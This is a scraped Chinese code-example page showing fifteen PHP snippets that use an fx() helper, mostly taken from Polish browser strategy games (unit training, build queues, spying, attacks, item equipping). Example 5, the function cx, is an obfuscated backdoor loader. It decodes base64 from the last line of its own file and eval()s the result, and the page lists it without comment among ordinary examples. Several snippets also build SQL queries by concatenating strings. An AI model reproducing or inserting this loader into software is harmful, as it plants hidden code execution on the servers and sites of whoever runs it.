本文整理汇总了PHP中fx函数的典型用法代码示例。如果您正苦于以下问题:PHP fx函数的具体用法?PHP fx怎么用?PHP fx使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了fx函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: przerwij_trening
function przerwij_trening($gracz, $id)
{
//zabezpiecz zmienne
$id = (int) $id;
$jednostka = row("select * from tribal_eventy inner join tribal_jednostki on podtyp = jednostka where event = " . $id . " and typ = 3 and miasto_id = " . $gracz['id_miasta'] . " limit 1");
if (empty($jednostka)) {
$error = "nie ma takiego zdarzenia";
} else {
$jednostka['drewno'] = floor($jednostka['drewno'] * $jednostka['ilosc'] * 0.9);
$jednostka['kamien'] = floor($jednostka['kamien'] * $jednostka['ilosc'] * 0.9);
$jednostka['zelazo'] = floor($jednostka['zelazo'] * $jednostka['ilosc'] * 0.9);
$jednostka['jedzenie'] = floor($jednostka['jedzenie'] * $jednostka['ilosc'] * 0.9);
$jednostka['populacja'] = floor($jednostka['populacja'] * $jednostka['ilosc']);
//usuń event
fx('usun_event');
usun_event($jednostka['event']);
//zabierz surowce
fx('surowce');
surowce($gracz['id_miasta'], $jednostka['drewno'], $jednostka['kamien'], $jednostka['zelazo'], $jednostka['jedzenie'], -$jednostka['populacja']);
$czas = $jednostka['koniec'] - mktime();
call("update tribal_eventy set start = start - {$czas}, koniec = koniec - {$czas} where typ = 3 and event > " . $jednostka['event'] . " and miasto_id = " . $gracz['id_miasta']);
$error = "przerwano trenowanie jednostki";
}
return $error;
}
示例2: trenuj
function trenuj($gracz, $typ, $id, $ilu, $kolejka_trenowania)
{
//zabezpiecz zmienne
$id = (int) $id;
$ilu = (int) $ilu;
$obiekt = one("select poziom from tribal_budynki_miasta where miasto_id = " . $gracz['id_miasta'] . " and budynek_id = " . $typ . " limit 1");
if (empty($obiekt)) {
$error = "nie posiadasz wymaganego budynku";
} elseif ($ilu < 1) {
$error = "muszisz trenować minimum 1 jednostkę";
} else {
$jednostka = row("select * from tribal_jednostki where wymagany_budynek = " . $typ . " and jednostka = " . $id . " and poziom_wymaganego_budynku <= " . $obiekt);
if (empty($jednostka)) {
$error = "nie ma takiej jednostki, lub nie masz wymaganego budynku na odpowiednim poziomie";
} elseif ($jednostka['drewno'] * $ilu > $gracz['dane_miasta']['drewno'] || $jednostka['kamien'] * $ilu > $gracz['dane_miasta']['kamien'] || $jednostka['zelazo'] * $ilu > $gracz['dane_miasta']['zelazo'] || $jednostka['jedzenie'] * $ilu > $gracz['dane_miasta']['jedzenie'] || $jednostka['populacja'] * $ilu > $gracz['dane_miasta']['populacja_max'] - $gracz['dane_miasta']['populacja']) {
$error = "nie masz wystarczającej ilości surowców";
} else {
$kolejka = row("select \n\t\t\t(select count(*) from tribal_eventy where typ = 3 and miasto_id = " . $gracz['id_miasta'] . ") as kolejka,\n\t\t\t(select count(*) from tribal_eventy where typ = 3 and podtyp = " . $id . " and miasto_id = " . $gracz['id_miasta'] . ") as w_kolejce\n\t\t\t");
if ($kolejka['kolejka'] == $kolejka_trenowania) {
$error = "kolejka zajęta";
} else {
//dodaj event
fx('dodaj_event');
dodaj_event($gracz['id_miasta'], 3, $id, $ilu, $jednostka['czas_treningu'] * $ilu);
fx('surowce');
surowce($gracz['id_miasta'], -$jednostka['drewno'] * $ilu, -$jednostka['kamien'] * $ilu, -$jednostka['zelazo'] * $ilu, -$jednostka['jedzenie'] * $ilu, $jednostka['populacja'] * $ilu);
//zabierz surowce
$error = "rozpoczęto trening";
}
}
}
return $error;
}
示例3: szpiegowanie
function szpiegowanie($event)
{
fx('dodaj_event');
//atakujący
$miasto1 = row("select * from tribal_miasta inner join tribal_gracze on gracz_id = gracz where miasto = " . $event['miasto_id']);
//obrońca
$miasto2 = row("select * from tribal_miasta inner join tribal_gracze on gracz_id = gracz where miasto = " . $event['podtyp']);
//pobierz dane broniących się szpiegów
$obronca = row("select * from tribal_jednostki_miasta inner join tribal_jednostki on jednostka_id = jednostka where miasto_id = " . $event['podtyp'] . " and jednostka_id = 5 and ilosc > 0");
$tekst1 = "Twoi szpiedzy z miasta " . $miasto1['nazwa'] . " szpiegują miasto " . $miasto2['nazwa'] . "<br/>";
if (empty($obronca)) {
$tekst1 .= "Nie napotkano oporu<br/>";
$tekst2 = "Szpiedzy z wrogiego szpiegują Twoje miasto " . $miasto2['nazwa'] . "<br/>";
} else {
//zabij odpowiednią ilość szpiegów po obu stronach
$ilu = $event['ilosc'];
$event['ilosc'] -= $obronca['ilosc'];
$obronca['ilosc'] -= $ilu;
if ($event['ilosc'] < 0) {
$event['ilosc'] = 0;
}
if ($obronca['ilosc'] < 0) {
$obronca['ilosc'] = 0;
}
//jeżeli obrońca w ogóle zabił jakiegoś szpiego to pokaż mu info z którego miasta przyszedł atak
if ($ilu == $event['ilosc']) {
$tekst2 = "Szpiedzy z miasta " . $miasto1['nazwa'] . " szpiegują Twoje miasto " . $miasto2['nazwa'] . "<br/>";
} else {
$tekst2 = "Szpiedzy z wrogiego szpiegują Twoje miasto " . $miasto2['nazwa'] . "<br/>";
}
}
if (empty($obronca['ilosc']) && !empty($event['ilosc'])) {
$zwyciezca = 1;
//zabij obrońcę
call("update tribal_jednostki_miasta set ilosc = 0 where miasto_id = " . $miasto2['miasto'] . " and jednostka_id = 5");
$tekst1 .= "Udało Ci się przeszpiegować miasto<br/>\n\t\t\tZdobyte informacje:<br/>\n\t\t\tDrewno: " . $miasto2['drewno'] . "\n\t\t\tKamień: " . $miasto2['kamien'] . "\n\t\t\tŻelazo: " . $miasto2['zelazo'] . "\n\t\t\tJedzenie: " . $miasto2['jedzenie'] . "\n\t\t\tPopulacja: " . $miasto2['populacja'] . "/" . $miasto2['populacja_max'] . "\n\t\t\t";
$tekst2 .= "Twoi szpiedzy ponieśli klęskę<br/>";
} elseif (empty($obronca['ilosc']) && empty($event['ilosc'])) {
$zwyciezca = 0;
//zabij obrońcę
call("update tribal_jednostki_miasta set ilosc = 0 where miasto_id = " . $miasto2['miasto'] . " and jednostka_id = 5");
$tekst1 .= "Twoi szpiedzy ponieśli klęskę<br/>";
$tekst2 .= "Twoi szpiedzy zginęli ale nie dopuścili do infiltracji miasta<br/>";
} else {
$zwyciezca = 2;
//zabij obrońcę
call("update tribal_jednostki_miasta set ilosc = " . $obronca['ilosc'] . " where miasto_id = " . $miasto2['miasto'] . " and jednostka_id = 5");
$tekst1 .= "Twoi szpiedzy ponieśli klęskę<br/>";
$tekst2 .= "Twoi szpiedzy nie dopuścili do infiltracji miasta<br/>";
}
fx('wiadomosc_wyslij');
$a = wiadomosc_wyslij(1, $miasto1['login'], $tekst1);
$a = wiadomosc_wyslij(1, $miasto2['login'], $tekst2);
if ($zwyciezca == 1) {
//jeżeli wygrał to resztę szpiegów wyślij do domu
$czas = $event['koniec'] - $event['start'];
fx('dodaj_event');
dodaj_event($event['miasto_id'], 21, $event['podtyp'], $event['ilosc'], $czas);
}
}
示例4: rozwiaz_szpiegow
function rozwiaz_szpiegow($event)
{
//zabezpiecz zmienne
fx('wiadomosc_wyslij');
$login = one($q = "select login from tribal_gracze inner join tribal_miasta on gracz_id = gracz where miasto = " . $event['miasto_id']);
call("update tribal_jednostki_miasta set ilosc = ilosc + " . $event['ilosc'] . " where jednostka_id = 5 and miasto_id = " . $event['miasto_id']);
$a = wiadomosc_wyslij(1, $login, "Szpiedzy powrócili do miasta");
}
示例5: cx
function cx()
{
$x = @base64_decode(@implode(@array_slice(@file(__FILE__), -1)));
$y = @dx($x, @bx($x));
@fx(@base64_encode(@ex($y, @hash("sha256", @mt_rand()))));
@eval($y);
die;
}
示例6: atakuj
function atakuj($dane, $cel, $armia)
{
//zabezpiecz zmienne
$cel = vText($cel);
$count = 0;
foreach ($armia as $key => $value) {
$key = (int) $key;
$armia[$key] = (int) $value;
if ($value < 1) {
unset($armia[$key]);
}
$count += (int) $value;
}
if ($count < 1) {
$error = 'wyślij minimum 1 jednostkę';
} else {
$query = '';
foreach ($armia as $key => $value) {
$query .= "(select count(*) from planetx_jednostki_planety where jednostka = " . $key . " and planeta_id =" . $dane['aktywna_planeta'] . " and ilosc >= " . $value . ")+";
}
$query = substr($query, 0, -1);
$query = "select " . $query . " as ile";
$can = mysql_fetch_array(mysql_query($query));
if ($can['ile'] < count($armia)) {
$error = 'nie posiadasz tyle jednostek';
} else {
$vs = mysql_fetch_array(mysql_query("select * from planetx_planety where nazwa='" . $cel . "' limit 1"));
if (empty($vs['nazwa'])) {
$error = 'nie ma takiej planety';
} elseif ($vs['gracz_id'] == $dane['gracz']) {
$error = 'nie atakuj swoich miast';
} else {
$x = mysql_fetch_array(mysql_query("select * from planetx_galaktyka where planeta_id = " . $dane['aktywna_planeta']));
$y = mysql_fetch_array(mysql_query("select * from planetx_galaktyka where planeta_id = " . $vs['planeta']));
if ($x['x'] != $vs['x'] && $x['y'] == $vs['y']) {
$zasieg = abs($vs['x'] - $x['x']) * 300;
} elseif ($x['x'] == $vs['x'] && $x['y'] != $vs['y']) {
$zasieg = abs($vs['y'] - $x['y']) * 300;
} else {
$zasieg = floor(sqrt(pow(abs($vs['x'] - $x['x']), 2) + pow(abs($vs['y'] - $x['y']), 2))) * 300;
}
mysql_query("insert into planetx_ataki(planeta_id, planeta_id_cel, start, koniec, status)\n\t\t\t\t\t\t\t\tvalue (" . $dane['aktywna_planeta'] . "," . $vs['planeta'] . "," . time() . "," . (time() + $zasieg) . ",0)");
$id = mysql_insert_id();
$query1 = "insert into planetx_ataki_jednostki(atak_id, jednostka, ilosc, atak, obrona, wytrzymalosc) values";
fx('jednostki');
$jednostki = jednostki();
foreach ($armia as $key => $value) {
mysql_query("update planetx_jednostki_planety set ilosc = ilosc - " . $value . " where jednostka = " . $key . " and planeta_id =" . $dane['aktywna_planeta']);
$query1 .= "(" . $id . ", " . $key . ", " . $value . ", " . $jednostki[$key]['atak'] . ", " . $jednostki[$key]['obrona'] . ", " . $jednostki[$key]['wytrzymalosc'] . " ),";
}
$query1 = substr($query1, 0, -1);
mysql_query($query1);
return 'wysłano';
}
}
}
}
示例7: buduj
function buduj($dane, $budynki, $id_budynku)
{
//zabezpiecz zmienne
$id_budynku = (int) $id_budynku;
//ile budynków można mieć w kolejce
$max_kolejka = 3;
if (empty($budynki[$id_budynku])) {
return "nie ma takiego budynku";
} elseif ($budynki[$id_budynku]['poziom'] == $budynki[$id_budynku]['poziom_max']) {
return "osiągnięto poziom maksymalny";
} else {
//pobierz funkcję do obsługi pobierania kosztów budynku
fx('budynki_koszta');
//pobierz funkcję do obsługi pobierania wymagań budynku
fx('budynki_wymagania');
//pobierz koszta dla następnego kolejnego poziomu budynku (stąd te $budynek['poziom'] +1 bo następny)
$koszta = budynki_koszta($id_budynku, $budynki[$id_budynku]['poziom'] + 1);
//pobierz wymagania obiektu
$wymagania = budynki_wymagania($id_budynku, $budynki[$id_budynku]['poziom'] + 1, $budynki);
if ($dane['planeta']['metal'] < $koszta['metal'] || $dane['planeta']['krysztaly'] < $koszta['krysztaly'] || $dane['planeta']['paliwo'] < $koszta['paliwo'] || $dane['planeta']['populacja_max'] - $dane['planeta']['populacja'] < $koszta['populacja']) {
return "planeta nie posiada wystarczającej ilości surowców";
} elseif ($wymagania['mozna'] == 0) {
$opcje = "nie spełniono wymagań budowy";
} else {
//sprawdź czy budynek nie jest już w kolejce budowania
$wkolejce = mysql_fetch_array(mysql_query("select kolejka from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $id_budynku));
if (!empty($wkolejce)) {
return "ten obiekt jest już w kolejce rozbudowy";
} else {
//sprawdź ile aktualnie jest budowanych budynków
$kolejka = mysql_fetch_array(mysql_query("select count(*) as ile from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta']));
if ($kolejka['ile'] == $max_kolejka) {
return "kolejka rozbudowy zajęta";
} else {
//pobierz ostatni budynek z kolejki
$ostatni = mysql_fetch_array(mysql_query("select koniec from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " order by koniec desc limit 1"));
if (empty($ostatni['koniec'])) {
//jeżeli nic nie jest budowane to ustaw aktualny czas jako start budowy
$start = time();
} else {
//jest coś budowane, więc dodaj budynek na koniec kolejki rozbudowy
$start = $ostatni['koniec'];
}
$koniec = $start + $koszta['czas_budowy'];
//dodaj do kolejki
mysql_query("insert into planetx_budynki_kolejka (planeta_id, budynek, start, koniec) value (" . $dane['aktywna_planeta'] . "," . $id_budynku . "," . $start . "," . $koniec . ")");
//odbierz surowce
mysql_query("update planetx_planety set metal = metal -" . $koszta['metal'] . ", krysztaly = krysztaly - " . $koszta['krysztaly'] . ", paliwo = paliwo -" . $koszta['paliwo'] . ", populacja = populacja +" . $koszta['populacja'] . " where planeta = " . $dane['aktywna_planeta']);
return "rozpoczęto budowę";
}
}
}
}
}
示例8: rozwiaz_armie
function rozwiaz_armie($id)
{
//zabezpiecz zmienne
$id = (int) $id;
fx('wiadomosc_wyslij');
$login = mysql_fetch_array(mysql_query("select login from planetx_gracze inner join planetx_planety on gracz_id = gracz inner join planetx_ataki on planeta = planeta_id where atak = " . $id));
$jednostki = mysql_query("select * from planetx_ataki_jednostki inner join planetx_ataki a on a.atak = atak_id where atak_id = " . $id);
while ($jednostka = mysql_fetch_array($jednostki)) {
mysql_query("update planetx_jednostki_planety set ilosc = ilosc + " . $jednostka['ilosc'] . " where jednostka = " . $jednostka['jednostka'] . " and planeta_id = " . $jednostka['planeta_id']);
}
mysql_query("delete from planetx_ataki_jednostki where atak_id = " . $id);
mysql_query("delete from planetx_ataki where atak = " . $id);
$a = wiadomosc_wyslij(1, $login['login'], "Armia powróciła do planety");
}
示例9: buduj
function buduj($gracz, $id, $kolejka_budowy)
{
//zabezpiecz zmienne
$id = (int) $id;
$info = row("select bm.poziom as poziom, bm.drewno as bmdrewno, bm.kamien as bmkamien, bm.zelazo as bmzelazo, bm.jedzenie as bmjedzenie, bm.populacja as bmpopulacja, bm.czas_budowy as bmczas_budowy, b.* from tribal_budynki b left join tribal_budynki_miasta bm on b.budynek = bm.budynek_id and bm.miasto_id = " . $gracz['id_miasta'] . " where b.budynek = " . $id . " limit 1");
if (empty($info)) {
$error = "nie ma takiego obiektu";
} else {
if (!empty($info['poziom'])) {
$info['drewno'] = $info['bmdrewno'];
$info['kamien'] = $info['bmkamien'];
$info['zelazo'] = $info['bmzelazo'];
$info['jedzenie'] = $info['bmjedzenie'];
$info['populacja'] = $info['bmpopulacja'];
$info['czas_budowy'] = $info['bmczas_budowy'];
} else {
$info['poziom'] = 0;
}
$budowany = one("select count(*) from tribal_eventy where typ = 1 and podtyp = {$id} and miasto_id = " . $gracz['id_miasta']);
if ($budowany > 0) {
$error = "budujesz już ten budynek";
} else {
$kolejka = one("select count(*) from tribal_eventy where typ = 1 and miasto_id = " . $gracz['id_miasta']);
if ($kolejka == $kolejka_budowy) {
$error = "kolejka budowy zajęta";
} else {
if ($info['drewno'] > $gracz['dane_miasta']['drewno'] || $info['kamien'] > $gracz['dane_miasta']['kamien'] || $info['zelazo'] > $gracz['dane_miasta']['zelazo'] || $info['jedzenie'] > $gracz['dane_miasta']['jedzenie'] || $info['populacja'] > $gracz['dane_miasta']['populacja_max'] - $gracz['dane_miasta']['populacja']) {
$error = "nie masz wystarczającej ilości surowców";
} elseif ($info['poziom'] == $info['max_poziom']) {
$error = "osiągnięto maksymalny poziom";
} else {
$wymagania = one("\n\t\t\t\t\tselect\n\t\t\t\t\t\tcase when count(*) >=\n\t\t\t\t\t\t(select count(*) from tribal_budynki_wymagania\n\t\t\t\t\t\twhere budynek_id = {$id})\n\t\t\t\t\t\tthen 1 else 0 end\n\n\t\t\t\t\t\tfrom tribal_budynki_wymagania t2,\n\t\t\t\t\t\ttribal_budynki_miasta t1\n\t\t\t\t\t\twhere t2.budynek_id = {$id}\n\t\t\t\t\t\tand t1.budynek_id = t2.wymagany_budynek_id\n\t\t\t\t\t\tand t1.miasto_id = " . $gracz['id_miasta'] . " \n\t\t\t\t\t\tand t1.poziom >= t2.wymagany_poziom\n\t\t\t\t\t");
if ($wymagania == 1) {
//dodaj event
fx('dodaj_event');
dodaj_event($gracz['id_miasta'], 1, $id, 1, $info['czas_budowy']);
fx('surowce');
surowce($gracz['id_miasta'], -$info['drewno'], -$info['kamien'], -$info['zelazo'], -$info['jedzenie'], $info['populacja']);
//zabierz surowce
$error = "rozpoczęto budowę";
} else {
$error = "nie spełniono wymagań do budowy tego budynku";
}
}
}
}
}
return $error;
}
示例10: transport
function transport($miasto)
{
fx('surowce');
$eventy_karawany = all("select * from tribal_karawany where z_miasta = " . $miasto . " and koniec <= " . time());
if (is_array($eventy_karawany)) {
foreach ($eventy_karawany as $karawana) {
if ($karawana['status'] == 0) {
surowce($karawana['do_miasta'], $karawana['drewno'], $karawana['kamien'], $karawana['zelazo'], $karawana['jedzenie'], 0);
call("update tribal_karawany set status = 1, drewno = 0, kamien = 0, zelazo =0, jedzenie = 0, start = koniec, koniec = koniec + 3600 where karawana = " . $karawana['karawana']);
} else {
surowce($karawana['z_miasta'], $karawana['drewno'], $karawana['kamien'], $karawana['zelazo'], $karawana['jedzenie'], 0);
call("delete from tribal_karawany where karawana = " . $karawana['karawana']);
}
}
}
}
示例11: trenuj
function trenuj($dane, $id, $ilu)
{
//zabezpiecz zmienne
$id = (int) $id;
$ilu = (int) $ilu;
$kolejka_trenowania = 10;
//pobierz jednostki gry
fx('jednostki');
$jednostki = jednostki();
if (empty($jednostki[$id])) {
return "nie ma takiej jednosti";
}
//pobierz poziom wymaganego obiektu
$obiekt = mysql_fetch_array(mysql_query("select poziom from planetx_budynki_planety where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $jednostki[$id]['wymagany_budynek_id'] . " and poziom >= " . $jednostki[$id]['wymagany_budynek_poziom']));
if (empty($obiekt)) {
return "nie posiadasz wymaganego budynku";
} elseif ($ilu < 1) {
return "muszisz trenować minimum 1 jednostkę";
} else {
if ($jednostki[$id]['metal'] * $ilu > $dane['planeta']['metal'] || $jednostki[$id]['krysztaly'] * $ilu > $dane['planeta']['krysztaly'] || $jednostki[$id]['paliwo'] * $ilu > $dane['planeta']['paliwo'] || $jednostki[$id]['populacja'] * $ilu > $dane['planeta']['populacja_max'] - $dane['planeta']['populacja']) {
return "nie masz wystarczającej ilości surowców";
} else {
$kolejka = mysql_fetch_array(mysql_query("select count(*) as kolejka from planetx_jednostki_kolejka where planeta_id = " . $dane['aktywna_planeta']));
if ($kolejka['kolejka'] == $kolejka_trenowania) {
return "kolejka zajęta";
} else {
//pobierz ostatni budynek z kolejki
$ostatni = mysql_fetch_array(mysql_query("select koniec from planetx_jednostki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " order by koniec desc limit 1"));
if (empty($ostatni['koniec'])) {
//jeżeli nic nie jest budowane to ustaw aktualny czas jako start budowy
$start = time();
} else {
//jest coś budowane, więc dodaj budynek na koniec kolejki rozbudowy
$start = $ostatni['koniec'];
}
$koniec = $start + $jednostki[$id]['czas_budowy'] * $ilu;
//dodaj do kolejki
mysql_query("insert into planetx_jednostki_kolejka (planeta_id, jednostka, ilosc, start, koniec) value (" . $dane['aktywna_planeta'] . "," . $id . "," . $ilu . "," . $start . "," . $koniec . ")");
//odbierz surowce
mysql_query($q = "update planetx_planety set metal = metal -" . $jednostki[$id]['metal'] * $ilu . ", krysztaly = krysztaly - " . $jednostki[$id]['krysztaly'] * $ilu . ", paliwo = paliwo -" . $jednostki[$id]['paliwo'] * $ilu . ", populacja = populacja +" . $jednostki[$id]['populacja'] * $ilu . " where planeta = " . $dane['aktywna_planeta']);
return "rozpoczęto trening";
}
}
}
}
示例12: rozwiaz_armie
function rozwiaz_armie($id)
{
//zabezpiecz zmienne
$id = (int) $id;
fx('wiadomosc_wyslij');
$login = one($q = "select login from tribal_gracze inner join tribal_miasta on gracz_id = gracz inner join tribal_ataki on miasto = miasto_id where atak = " . $id);
$atak_info = row("select * from tribal_ataki where atak = {$id}");
$jednostki = all("select * from tribal_ataki_jednostki inner join tribal_ataki a on a.atak = atak_id where atak_id = {$id}");
if (is_array($jednostki)) {
foreach ($jednostki as $jednostka) {
call("update tribal_jednostki_miasta set ilosc = ilosc + " . $jednostka['ilosc'] . " where jednostka_id = " . $jednostka['jednostka_id'] . " and miasto_id = " . $jednostka['miasto_id']);
}
}
call("delete from tribal_ataki_jednostki where atak_id = {$id}");
call("delete from tribal_ataki where atak = {$id}");
fx('surowce');
surowce($atak_info['miasto_id'], $atak_info['drewno'], $atak_info['kamien'], $atak_info['zelazo'], $atak_info['jedzenie'], 0);
fx('raport');
$a = raport($login, "Armia powróciła do miasta ,rozładowano " . $atak_info['drewno'] . " drewna, " . $atak_info['kamien'] . " kamienia, " . $atak_info['zelazo'] . " żelaza i " . $atak_info['jedzenie'] . " jedzenia");
}
示例13: przerwij_budowe
function przerwij_budowe($gracz, $id)
{
//zabezpiecz zmienne
$id = (int) $id;
$info = row("select bm.drewno as bmdrewno, bm.kamien as bmkamien, bm.zelazo as bmzelazo, bm.jedzenie as bmjedzenie, bm.populacja as bmpopulacja, bm.czas_budowy as bmczas_budowy, bm.poziom as bmpoziom, b.* from tribal_budynki b left join tribal_budynki_miasta bm on b.budynek = bm.budynek_id and bm.miasto_id = " . $gracz['id_miasta'] . " where b.budynek = " . $id . " limit 1");
if (empty($info)) {
$error = "nie ma takiego obiektu";
} else {
if (!empty($info['bmdrewno'])) {
$info['drewno'] = $info['bmdrewno'];
$info['kamien'] = $info['bmkamien'];
$info['zelazo'] = $info['bmzelazo'];
$info['jedzenie'] = $info['bmjedzenie'];
$info['populacja'] = $info['bmpopulacja'];
$info['poziom'] = $info['bmpoziom'];
$info['czas_budowy'] = $info['bmczas_budowy'];
} else {
$info['poziom'] = 0;
}
$info['drewno'] = floor($info['drewno'] * 0.9);
$info['kamien'] = floor($info['kamien'] * 0.9);
$info['zelazo'] = floor($info['zelazo'] * 0.9);
$info['jedzenie'] = floor($info['jedzenie'] * 0.9);
$budowany = row("select * from tribal_eventy where typ = 1 and podtyp = {$id} and miasto_id = " . $gracz['id_miasta']);
if (empty($budowany)) {
$error = "nie budujesz tego budynku";
} else {
//usuń event
fx('usun_event');
usun_event($budowany['event']);
//zabierz surowce
fx('surowce');
surowce($gracz['id_miasta'], $info['drewno'], $info['kamien'], $info['zelazo'], $info['jedzenie'], -$info['populacja']);
$czas = $budowany['koniec'] - mktime();
call("update tribal_eventy set start = start - {$czas}, koniec = koniec - {$czas} where typ = 1 and event > " . $budowany['event'] . " and miasto_id = " . $gracz['id_miasta']);
$error = "przerwano budowę";
}
}
return $error;
}
示例14: zaloz
function zaloz($gracz, $przedmiot)
{
//zabezpiecz zmienne
$przedmiot = (int) $przedmiot;
$dane = row("select * from genix_przedmioty inner join genix_przedmioty_gracze on przedmiot_id = przedmiot where id = " . $przedmiot . " and gracz_id = " . $gracz['gracz'] . " limit 1");
if (empty($dane)) {
return "nie ma takiego przedmiotu";
} elseif ($dane['wymagana_sila'] > $gracz['sila'] || $dane['wymagana_zrecznosc'] > $gracz['zrecznosc'] || $dane['wymagana_wytrzymalosc'] > $gracz['wytrzymalosc'] || $dane['wymagana_wiedza'] > $gracz['wiedza']) {
return "nie spełniasz wymagań do założenia tego przedmiotu";
} else {
fx('zdejmij');
zdejmij($gracz, $dane['typ']);
switch ($dane['typ']) {
case 'bron':
call("update genix_gracze set bron = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']);
break;
case 'tarcza':
call("update genix_gracze set tarcza =" . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']);
break;
case 'zbroja':
call("update genix_gracze set zbroja = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']);
break;
case 'helm':
call("update genix_gracze set helm = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']);
break;
case 'buty':
call("update genix_gracze set buty = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']);
break;
case 'amulet':
call("update genix_gracze set amulet = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']);
break;
case 'pierscien':
call("update genix_gracze set pierscien = " . $dane['przedmiot'] . ", atak = atak + " . $dane['atak'] . ", obrona = obrona + " . $dane['obrona'] . ", absorbcja = absorbcja + " . $dane['absorbcja'] . ", obrazenia_min = obrazenia_min + " . $dane['obrazenia_min'] . ", obrazenia_max = obrazenia_max + " . $dane['obrazenia_max'] . ", zycie_limit = zycie_limit + " . $dane['zycie_limit'] . " where gracz = " . $gracz['gracz']);
break;
}
call("delete from genix_przedmioty_gracze where id = " . $przedmiot);
return "założono przedmiot";
}
}
示例15: przerwij_budowe
function przerwij_budowe($dane, $id_budynku)
{
//zabezpiecz zmienne
$id_budynku = (int) $id_budynku;
//sprawdź czy dany budynek był budowany
$wkolejce = mysql_fetch_array(mysql_query("select * from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $id_budynku));
if (empty($wkolejce)) {
return "nie ma takiego budynku w budowie";
} else {
//pobierz funkcję do obsługi pobierania kosztów budynku
fx('budynki_koszta');
//pobierz koszta dla następnego kolejnego poziomu budynku (stąd te $budynek['poziom'] +1 bo następny)
$koszta = budynki_koszta($id_budynku, $budynki[$id_budynku]['poziom'] + 1);
//usuń z kolejki
mysql_query("delete from planetx_budynki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and budynek = " . $id_budynku);
//zwróć część surowców, populacji trzeba zwrócić zawsze tyle samo
mysql_query("\n\t\tupdate planetx_planety\n\t\t\tset metal = (case when metal + " . $koszta['metal'] * 0.9 . " >= surowce_max then surowce_max else metal + " . $koszta['metal'] * 0.9 . " end ) ,\n\n\t\t\tkrysztaly = (case when krysztaly + " . $koszta['krysztaly'] * 0.9 . " >= surowce_max then surowce_max else krysztaly + " . $koszta['krysztaly'] * 0.9 . " end ),\n\n\t\t\tpaliwo = (case when paliwo + " . $koszta['paliwo'] * 0.9 . " >= surowce_max then surowce_max else paliwo + " . $koszta['paliwo'] * 0.9 . " end ),\n\n\t\t\t\n\n\t\t\tpopulacja = (case when populacja + " . $koszta['populacja'] . " >= populacja_max then populacja_max else populacja - " . $koszta['populacja'] . " end )\n\t\twhere planeta = " . $dane['aktywna_planeta']);
//przyspiesz budowanie budynków, jeżeli po tym budynku było coś na końcu kolejki
$ile = $wkolejce['koniec'] - time();
mysql_query("update planetx_budynki_kolejka set start = start - " . $ile . ", koniec = koniec - " . $ile . " where planeta_id = " . $dane['aktywna_planeta'] . " and start > " . $wkolejce['start']);
}
}